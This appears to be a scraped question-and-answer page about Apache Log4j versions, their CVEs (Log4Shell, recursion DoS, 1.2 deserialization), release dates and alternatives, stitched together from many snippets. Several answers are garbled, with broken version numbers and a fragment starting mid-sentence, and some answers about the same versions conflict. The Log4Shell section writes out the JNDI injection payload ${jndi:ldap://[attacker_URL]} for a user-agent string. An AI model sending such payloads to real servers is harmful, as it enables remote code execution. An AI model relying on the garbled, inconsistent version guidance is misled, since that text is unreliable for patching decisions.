Is Log4j 2.16 0 vulnerable
Vulnerability Details
DESCRIPTION: Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups.
Is Log4j 2.16 safe
Log4j 2.16 and earlier does not always protect from infinite recursion in lookup evaluation, which can lead to DoS attacks. This is considered a High (7.5) vulnerability on the CVSS scale.
Which Log4j jars are vulnerable
What happened to log4j recently
| Name | Vulnerability type | Affected log4j versions |
|---|---|---|
| CVE-2021-45046 | Denial of Service (DoS) and RCE | 2.0 through 2.15.0 |
| CVE-2021-4104 | RCE | 1.2* |
| CVE-2021-45105 | Denial of Service (DoS) | 2.0-beta9 to 2.16.0 |
| CVE-2021-44832 | RCE | 2.0 to 2.17.0 |
Is Log4j 2.17 vulnerable
3 or 2.17. 0: from these versions onwards, only the JAVA protocol is supported in JNDI connections. Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.
Is Log4j Core 2.14 1 vulnerable
log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.
When was Log4j 2.16 0 released
2021-12-13
0 (2021-12-13)
Is Log4j Core 2.11 1 jar vulnerable
log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.
Is Log4j 1.2 16 jar vulnerable
Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.
What is Log4j 2.17 2
Apache Log4j Core » 2.17. 2. Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.
What is Log4j core version 2.14 1
Apache Log4j Core » 2.14. 1
| License | Apache 2.0 |
|---|---|
| Date | Mar 12, 2021 |
| Files | jar (1.7 MB) View All |
| Repositories | Central |
| Ranking | #52 in MvnRepository (See Top Artifacts) #6 in Logging Frameworks |
What is Log4j core vulnerability
1. Introduction. Log4Shell is a severe critical vulnerability affecting many versions of the Apache Log4j application. The vulnerability allows unauthenticated remote code execution. Attackers can take advantage of it by modifying their browser's user-agent string to ${jndi:ldap://[attacker_URL]} format.
Which Log4j version is stable
2.20.0
Log4j
| Developer(s) | Apache Software Foundation |
|---|---|
| Initial release | January 8, 2001 |
| Stable release | 2.20.0 / 21 February 2023 |
| Repository | github.com/apache/logging-log4j2 |
| Written in | Java |
What is Log4j core 2.11 1 jar
Apache Log4j Core » 2.11. 1. Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.
Is Log4j Core 2.3 jar vulnerable
log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.
Is Log4j 1.2 17 jar affected
Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions up to 1.2 up to 1.2. 17.
Why do we use Log4j core
The Log4j2 core implementation is responsible for the following (note: this is not an exhaustive list): Configuration of the system (via an XML file for example) Routing messages to Appenders. Opening files and other resources for logging (e.g. network sockets)
Is Log4j Core 2.13 3 jar vulnerable
log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.
What is the last version of Log4j core
Log4j 2.20.0
Log4j 2.20. 0 is the latest release of Log4j. As of Log4j 2.13. 0 Log4j 2 requires Java 8 or greater at runtime.
Is log4j Core 2.14 1 vulnerable
log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.
Is log4j 2.11 1 jar vulnerable
Affected versions of this package are vulnerable to Arbitrary Code Execution. Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
What is Log4j Core 2.3 jar
Apache Log4j Core » 2.3
Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.
Is log4j Core 2.3 jar vulnerable
log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.
What replaces log4j 1.2 17 jar
By drop-in, we mean that you can replace log4j. jar with reload4j. jar in your build with no source code changes, no recompilation, nor rebuild being necessary. The reload4j project offers a clear and easy migration path for the thousands of users who have an urgent need to fix vulnerabilities in log4j 1.2.
What is log4j and log4j core
Apache Log4j Core
Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.
What is alternative to log4j core
Top 10 Alternatives to Apache log4j Recently Reviewed By G2 CommunityCentreon. (55)4.8 out of 5.Datadog. (420)4.3 out of 5.Dynatrace. (1,103)4.5 out of 5.checkmk. (140)4.7 out of 5.Graylog. (115)4.4 out of 5.Mezmo Log Analysis. (213)4.6 out of 5.LogicMonitor. (476)4.5 out of 5.New Relic. (406)4.3 out of 5.
